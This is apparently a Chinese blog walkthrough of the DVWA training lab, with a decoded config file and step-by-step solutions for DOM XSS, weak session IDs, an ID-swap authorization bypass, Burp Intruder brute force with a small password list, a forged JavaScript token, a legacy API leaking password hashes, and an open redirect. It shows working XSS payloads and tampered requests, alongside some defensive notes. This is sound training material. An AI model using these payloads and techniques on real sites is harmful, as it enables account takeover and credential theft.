bICdkZWZhdWx0X2xvY2FsZScgXSA9IGdldGVudignREVGQVVMVF9MT0NBTEUnKSA/OiAnZW4nOwoKIyBEaXNhYmxlIGF1dGhlbnRpY2F0aW9uCiMgICBTb21lIHRvb2xzIGRvbid0IGxpa2Ugd29ya2luZyB3aXRoIGF1dGhlbnRpY2F0aW9uIGFuZCBwYXNzaW5nIGNvb2tpZXMgYXJvdW5kCiMgICBzbyB0aGlzIHNldHRpbmcgbGV0cyB5b3UgdHVybiBvZmYgYXV0aGVudGljYXRpb24uCiRfRFZXQVsgJ2Rpc2FibGVfYXV0aGVudGljYXRpb24nIF0gPSBnZXRlbnYoJ0RJU0FCTEVfQVVUSEVOVElDQVRJT04nKSA/OiBmYWxzZTsKCmRlZmluZSAoJ01ZU1FMJywgJ215c3FsJyk7CmRlZmluZSAoJ1NRTElURScsICdzcWxpdGUnKTsKCiMgU1FMaSBEQiBCYWNrZW5kCiMgICBVc2UgdGhpcyB0byBzd2l0Y2ggdGhlIGJhY2tlbmQgZGF0YWJhc2UgdXNlZCBpbiB0aGUgU1FMaSBhbmQgQmxpbmQgU1FMaSBsYWJzLgojICAgVGhpcyBkb2VzIG5vdCBhZmZlY3QgdGhlIGJhY2tlbmQgZm9yIGFueSBvdGhlciBzZXJ2aWNlcywganVzdCB0aGVzZSB0d28gbGFicy4KIyAgIElmIHlvdSBkbyBub3QgdW5kZXJzdGFuZCB3aGF0IHRoaXMgbWVhbnMsIGRvIG5vdCBjaGFuZ2UgaXQuCiRfRFZXQVsnU1FMSV9EQiddID0gZ2V0ZW52KCdTUUxJX0RCJykgPzogTVlTUUw7CiMkX0RWV0FbJ1NRTElfREInXSA9IFNRTElURTsKIyRfRFZXQVsnU1FMSVRFX0RCJ10gPSAnc3FsaS5kYic7Cgo/Pg==解码可以得到
<?php
# If you are having problems connecting to the MySQL database and all of the variables below are correct# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.# Thanks to @digininja for the fix.
# Database management system to use$DBMS = getenv('DBMS') ?: 'MySQL';#$DBMS = 'PGSQL'; // Currently disabled
# Database variables# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.# Please use a database dedicated to DVWA.## If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.# See README.md for more information on this.$_DVWA = array();$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';$_DVWA[ 'db_port'] = getenv('DB_PORT') ?: '3306';
# ReCAPTCHA settings# Used for the 'Insecure CAPTCHA' module# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin$_DVWA[ 'recaptcha_public_key' ] = getenv('RECAPTCHA_PUBLIC_KEY') ?: '';$_DVWA[ 'recaptcha_private_key' ] = getenv('RECAPTCHA_PRIVATE_KEY') ?: '';
# Default security level# Default value for the security level with each session.# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.$_DVWA[ 'default_security_level' ] = getenv('DEFAULT_SECURITY_LEVEL') ?: 'impossible';
# Default locale# Default locale for the help page shown with each session.# The default is 'en'. You may wish to set this to either 'en' or 'zh'.$_DVWA[ 'default_locale' ] = getenv('DEFAULT_LOCALE') ?: 'en';
# Disable authentication# Some tools don't like working with authentication and passing cookies around# so this setting lets you turn off authentication.$_DVWA[ 'disable_authentication' ] = getenv('DISABLE_AUTHENTICATION') ?: false;
define ('MYSQL', 'mysql');define ('SQLITE', 'sqlite');
# SQLi DB Backend# Use this to switch the backend database used in the SQLi and Blind SQLi labs.# This does not affect the backend for any other services, just these two labs.# If you do not understand what this means, do not change it.$_DVWA['SQLI_DB'] = getenv('SQLI_DB') ?: MYSQL;#$_DVWA['SQLI_DB'] = SQLITE;#$_DVWA['SQLITE_DB'] = 'sqli.db';
?>完结下一题。
八、XSS (DOM)
服务器完全没参与。前端 JS 自己从 URL 里读内容,写进页面。
扒一下靶场的源码看看
var lang = document.location.href.substring( document.location.href.indexOf('default=') + 8);document.write(decodeURI(lang));- 从 location.href 里取字符串——URL 是用户可控的
- decodeURI 解码——你把 payload 编码了,它帮你还原
- document.write 写进页面——浏览器把它当 HTML 解析
先抓个包
选择一个语言,可以看到
GET /vulnerabilities/xss_d/?default=English HTTP/1.1那么可以知道下一步是要把default换成payload
换payload
GET /vulnerabilities/xss_d/?%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1页面有弹窗,注入完成。
Tips — 如何判断XSS (DOM)
看前端源码——找 location.hash、location.href、document.write、innerHTML 这些危险写法。
比如https://site.com/page#<img src=x onerror=alert(1)>
防御代码
// 危险document.write(userInput);element.innerHTML = userInput;
// 安全element.textContent = userInput;textContent 只写文本,不解析标签。innerHTML 会把字符串当 HTML 解析——这就是 DOM XSS 的入口。
直接下一题。
九、Weak Session IDs(弱会话 ID)
这个和 Cookie 直接相关——它问的是:服务端发的那个会话编号,够不够随机?
会话 ID 的安全要求三条:
- 足够长:短了能穷举
- 随机:不能有规律
- 不可预测:看到前几个,推不出下一个
靶场三条全不满足——它用的是递增整数。
连抓五次包可以发现
第 1 次:dvwaSession=1第 2 次:dvwaSession=2第 3 次:dvwaSession=3可以知道dvwaSession是递增的,而知道了dvwaSession就可以劫持会话,我最近挖的一个漏洞就是accesstoken漏了而形成一整条攻击链。
十、Authorisation Bypass(越权访问)
两种越权
- 水平越权:同级用户之间。你是普通用户 A,去操作普通用户 B 的数据
- 垂直越权:低权限干高权限的事。普通用户去调管理员的接口
先抓个包
GET /vulnerabilities/authbypass/ HTTP/1.1随便点击一个upload
POST /vulnerabilities/authbypass/change_user_details.php HTTP/1.1
{"id":5,"first_name":"Bob","surname":"Smith"}改一下id
把id改成3再send,返回{"result":"ok"}
再看看页面,发现3的数据跟5一样了,成功。
十一、Brute Force(暴力破解)
这里用到Intruder 和 Repeater
- Repeater:一个请求,你改一次,发一次。手动迭代
- Intruder:一个请求,某个位置自动替换成字典里的值,发 N 次。自动迭代 它们用的是同一个”抓下来的请求”,区别只在”谁在改”。
先随便填个密码抓包
GET /vulnerabilities/brute/?username=admin&password=12222&Login=Login HTTP/1.1接着直接送进Intruder
切换到Intruder
对password后面加标签,接着配一个简单的字典
password123456adminletmeinqwertyabc123charley直接爆破
之后看数据
password len=4547123456 len=4509admin len=4509letmein len=4509qwerty len=4509abc123 len=4509charley len=4509发现password的页面长度是不一样的,那么password就是正确答案。
十二、JavaScript Attacks(JavaScript 攻击)
直接看代码:
function rot13(inp) { return inp.replace(/[a-zA-Z]/g, function(c){ return String.fromCharCode((c<="Z"?90:122) >= (c=c.charCodeAt(0)+13) ? c : c-26); });}function generate_token() { var phrase = document.getElementById("phrase").value; document.getElementById("token").value = md5(rot13(phrase));}generate_token();逻辑是:把 phrase 做 rot13,再取 md5,然后填入隐藏域。服务端要的正好也是 md5(rot13("success"))。看起来只要输入 success 就能通过,但 generate_token() 只在页面加载时执行了一次,那会儿 phrase 还是默认值 ChangeMe。
实测这两个值差别如下:
- 正常提交会发出去:md5(rot13(“ChangeMe”)) = 8b479aefbd90795395b3e7089ae0dc09
- 服务端要的:md5(rot13(“success”)) = 38581812b435834ebf84ebcc2c6424d6
怎么来的,看php代码
s(115) +13 = 128 -> 超出 z(122),减 26 = 102 -> fu(117) +13 = 130 -> 超出 z(122),减 26 = 104 -> hc( 99) +13 = 112 -> 没超,直接用 -> pc( 99) +13 = 112 -> 没超,直接用 -> pe(101) +13 = 114 -> 没超,直接用 -> rs(115) +13 = 128 -> 超出,减 26 = 102 -> fs(115) +13 = 128 -> 超出,减 26 = 102 -> f接着转md5就可以得到38581812b435834ebf84ebcc2c6424d6
抓包
POST /vulnerabilities/javascript/ HTTP/1.1token=8b479aefbd90795395b3e7089ae0dc09&phrase=success&send=Submit这里可以看到token的值不对,改变他的值就可以了。
十三、API Security
打开 API Security 页面,页面上的表格由 JavaScript 动态获取数据并绘制:
function get_users() { const url = '/vulnerabilities/api/v2/user/'; fetch(url, { method: 'GET' }) .then(response => response.json()) .then(data => { loadTableData(data); });}表格是 fetch 之后才填充的,“查看页面源码”里看不到数据,要看 Burp 的 HTTP history
转到 vulnerabilities/api/src/User.php,关键在 toArray():
public function toArray($version) { switch ($version) { case 1: $a = array ( "id" => $this->id, "name" => $this->name, "level" => $this->level, "password" => $this->password, // ← v1 带密码 ); break; default: case 2: $a = array ( "id" => $this->id, "name" => $this->name, "level" => $this->level, // ← v2 去掉了 ); break; } return $a;}$version 是从 URL 里解析出来的,路由在 public/index.php:
if (preg_match("/v([0-9]*)/", $version, $matches)) { $version = intval($matches[1]); // "v2" → 2, "v1" → 1}也就是说,返回哪些字段完全由请求 URL 决定。 v2 修掉了密码泄露,v1 是修复前的旧版本,但代码还留在线上没删。
抓包
GET /vulnerabilities/api HTTP/1.1改get
GET /vulnerabilities/api/v2/user HTTP/1.1返回
[{"id":1,"name":"tony","level":0},{"id":2,"name":"morph","level":1},{"id":3,"name":"chas","level":1}]再尝试
GET /vulnerabilities/api/v1/user/ HTTP/1.1返回
[{"id":1,"name":"tony","level":0,"password":"1c8bfe8f801d79745c4631d09fff36c82aa37fc4cce4fc946683d7b336b63032"},{"id":2,"name":"morph","level":1,"password":"e5326ba4359f77c2623244acb04f6ac35c4dfca330ebcccdf9b734e5b1df90a8"},{"id":3,"name":"chas","level":1,"password":"a89237fc1f9dd8d424d8b8b98b890dbc4a817bfde59af17c39debcc4a14c21de"}]完成。
十四、Open HTTP Redirect
页面只有两个链接:
http://127.0.0.1:8888/vulnerabilities/open_redirect/source/low.php?redirect=info.php?id=1http://127.0.0.1:8888/vulnerabilities/open_redirect/source/low.php?redirect=info.php?id=2点进去会跳到 “Hacker History” 的名言页面。跳转发生在 source/low.php 里,全部代码只有四行有效逻辑:
if (array_key_exists("redirect", $_GET) && $_GET['redirect'] != "") { header("location: " . $_GET['redirect']); // ← 原封不动拼进 Location exit;}http_response_code(500);?><p>Missing redirect target.</p>$_GET['redirect'] 没有做任何校验,直接写进了 Location 响应头。
浏览器收到 302 状态码 + Location 头,就会自动发起第二次请求去那个地址,用户在地址栏里看到的是”页面闪了一下就过去了”。
所以”开放重定向”的意思是:服务器把”跳去哪”的决定权交给了用户。
抓他
抓到
GET /vulnerabilities/open_redirect/source/low.php?redirect=info.php?id=1 HTTP/1.1那么可以把 redirect 的值改成 https://example.com
可以看到返回
HTTP/1.1 302 FoundDate: Tue, 20 Oct 2026 17:03:32 GMTServer: Apache/2.4.68 (Debian)X-Powered-By: PHP/8.5.11location: https://example.com?id=1Content-Length: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8那如果example换成其他地址九可以访问了。可以用于钓鱼链接伪装,也算是个漏洞。
那就到这里啦。下一篇要装插件然后去挑战更高级的啦。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!